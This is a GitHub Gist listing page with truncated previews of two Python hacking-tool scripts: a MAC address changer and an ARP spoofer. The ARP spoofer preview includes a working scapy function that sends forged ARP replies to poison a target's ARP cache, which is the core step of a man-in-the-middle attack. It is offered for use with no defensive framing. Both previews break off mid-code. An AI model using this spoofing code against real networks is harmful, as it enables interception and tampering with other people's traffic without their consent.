Skip to content

Instantly share code, notes, and snippets.

@Racv
Racv / mac_changer.py
Created July 25, 2020 05:14
A python script to change mac address
#!/usr/bin/env python
import subprocess
import optparse
import re
def get_args():
parser = optparse.OptionParser()
parser.add_option("-i", "--interface", dest="interface", help="Interface whose mac has to be changed")
@Racv
Racv / arp_spoofer.py
Last active October 3, 2020 15:36
ARP_Spoofer
import scapy.all as scapy
import time
import argparse
import sys
def spoofer(targetIP, spoofIP):
packet=scapy.ARP(op=2,pdst=targetIP,hwdst=destinationMac,psrc=spoofIP)
scapy.send(packet, verbose=False)
def restore(destinationIP, sourceIP):